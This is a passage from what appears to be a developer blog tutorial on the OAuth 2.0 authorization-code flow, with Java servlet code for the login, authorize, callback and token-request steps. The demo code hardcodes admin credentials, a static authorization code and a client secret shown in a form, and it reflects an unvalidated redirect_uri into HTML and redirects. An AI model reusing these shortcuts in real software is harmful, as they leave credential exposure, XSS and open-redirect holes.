&lt;li&gt;Client exchanges code for &lt;strong&gt;access token&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Client uses access token to call Resource Server&lt;/li&gt;
&lt;li&gt;Resource Server validates token and returns data&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  🔷 Endpoints in This Demo
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Endpoint&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;/login&lt;/td&gt;
&lt;td&gt;Starts OAuth flow (Client)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/authorize&lt;/td&gt;
&lt;td&gt;User login + consent (Authorization Server)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/callback&lt;/td&gt;
&lt;td&gt;Receives authorization code (Client)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/getToken&lt;/td&gt;
&lt;td&gt;Helper to call token endpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/token&lt;/td&gt;
&lt;td&gt;Issues access token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/data&lt;/td&gt;
&lt;td&gt;Protected API (Resource Server)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  🔷 Full Flow Overview
&lt;/h3&gt;

&lt;p&gt;/login &lt;br&gt;
 → redirect to /authorize&lt;br&gt;
 → user login + allow&lt;br&gt;
 → /callback (gets code)&lt;br&gt;
 → /token (gets access token)&lt;br&gt;
 → /data (uses token)&lt;/p&gt;
&lt;h3&gt;
  
  
  🔷 Step-by-Step Flow with Code
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Full implementation is available in the GitHub repository at the end of this article.&lt;br&gt;
🟢 Step 1: /login → Start Flow&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;LoginServlet.java&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.oauth.demo&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.ServletException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.annotation.WebServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletRequest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletResponse&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Servlet implementation class LoginServlet
 */&lt;/span&gt;
&lt;span class="nd"&gt;@WebServlet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/login"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;LoginServlet&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;HttpServlet&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doGet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"http://172.21.236.75:9090/oauth/authorize?"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
                &lt;span class="s"&gt;"response_type=code&amp;amp;client_id=test&amp;amp;redirect_uri=http://172.21.236.75:9090/oauth/callback"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendRedirect&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the entry point. It redirects the user to the Authorization Server.&lt;/p&gt;

&lt;p&gt;resp.sendRedirect("&lt;a href="http://host/oauth/authorize?...%22" rel="noopener noreferrer"&gt;http://host/oauth/authorize?..."&lt;/a&gt;); &lt;/p&gt;

&lt;p&gt;👉 This is how the Client requests authorization from the User.&lt;/p&gt;

&lt;p&gt;🟢 Step 2: /authorize → User Login &amp;amp; Consent&lt;/p&gt;

&lt;p&gt;AuthorizeServlet.java&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Displays login form&lt;/li&gt;
&lt;li&gt;Accepts username/password&lt;/li&gt;
&lt;li&gt;Allows user to &lt;strong&gt;Allow **/ **Deny&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.oauth.demo&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.ServletException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.annotation.WebServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletRequest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletResponse&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Servlet implementation class AuthorizeServlet
 */&lt;/span&gt;
&lt;span class="nd"&gt;@WebServlet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/authorize"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AuthorizeServlet&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;HttpServlet&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doGet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setContentType&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"text/html"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;form method='post'&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"User: &amp;lt;input name='username'/&amp;gt;&amp;lt;br/&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"Pass: &amp;lt;input name='password' type='password'/&amp;gt;&amp;lt;br/&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;button name='action' value='allow'&amp;gt;Allow&amp;lt;/button&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;button name='action' value='deny'&amp;gt;Deny&amp;lt;/button&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;input type='hidden' name='redirect_uri' value='"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"redirect_uri"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"'/&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;/form&amp;gt;"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doPost&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"action"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;redirectUri&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"redirect_uri"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"deny"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendRedirect&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;redirectUri&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"?error=access_denied"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"admin"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pass&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"abc123"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// normally random + stored&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendRedirect&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;redirectUri&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"?code="&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid login"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 Output:&lt;/p&gt;

&lt;p&gt;Success → ?code=abc123&lt;br&gt;
Failure → ?error=access_denied&lt;/p&gt;

&lt;p&gt;🟢 Step 3: /callback → Client Receives Code&lt;/p&gt;

&lt;p&gt;CallbackServlet.java&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.oauth.demo&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.ServletException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.annotation.WebServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletRequest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletResponse&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Servlet implementation class CallbackServlet
 */&lt;/span&gt;
&lt;span class="nd"&gt;@WebServlet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/callback"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CallbackServlet&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;HttpServlet&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doGet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"code"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Authorization failed"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setContentType&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"text/html"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;h3&amp;gt;Authorization Code: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;/h3&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;a href='/oauth/getToken?code="&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"'&amp;gt;Get Access Token&amp;lt;/a&amp;gt;"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 This is the authorization code, a temporary credential.&lt;/p&gt;

&lt;p&gt;🟢 Step 4: /getToken → Prepare Token Request&lt;/p&gt;

&lt;p&gt;GetTokenServlet.java&lt;/p&gt;

&lt;p&gt;Creates a form to call /token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.oauth.demo&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.ServletException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.annotation.WebServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletRequest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletResponse&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Servlet implementation class GetTokenServlet
 */&lt;/span&gt;
&lt;span class="nd"&gt;@WebServlet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/getToken"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GetTokenServlet&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;HttpServlet&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doGet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"code"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setContentType&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"text/html"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;form method='post' action='/oauth/token'&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;input name='code' value='"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"'/&amp;gt;&amp;lt;br/&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;input name='client_id' value='test'/&amp;gt;&amp;lt;br/&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;input name='client_secret' value='secret123'/&amp;gt;&amp;lt;br/&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;button type='submit'&amp;gt;Exchange Code for Token&amp;lt;/button&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;/form&amp;gt;"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 In real systems, this happens server-to-server, not via UI.&lt;/p&gt;

&lt;p&gt;🟢 Step 5: /token → Exchange Code for Token&lt;/p&gt;

&lt;p&gt;TokenServlet.java&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.oauth.demo&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.ServletException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.annotation.WebServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
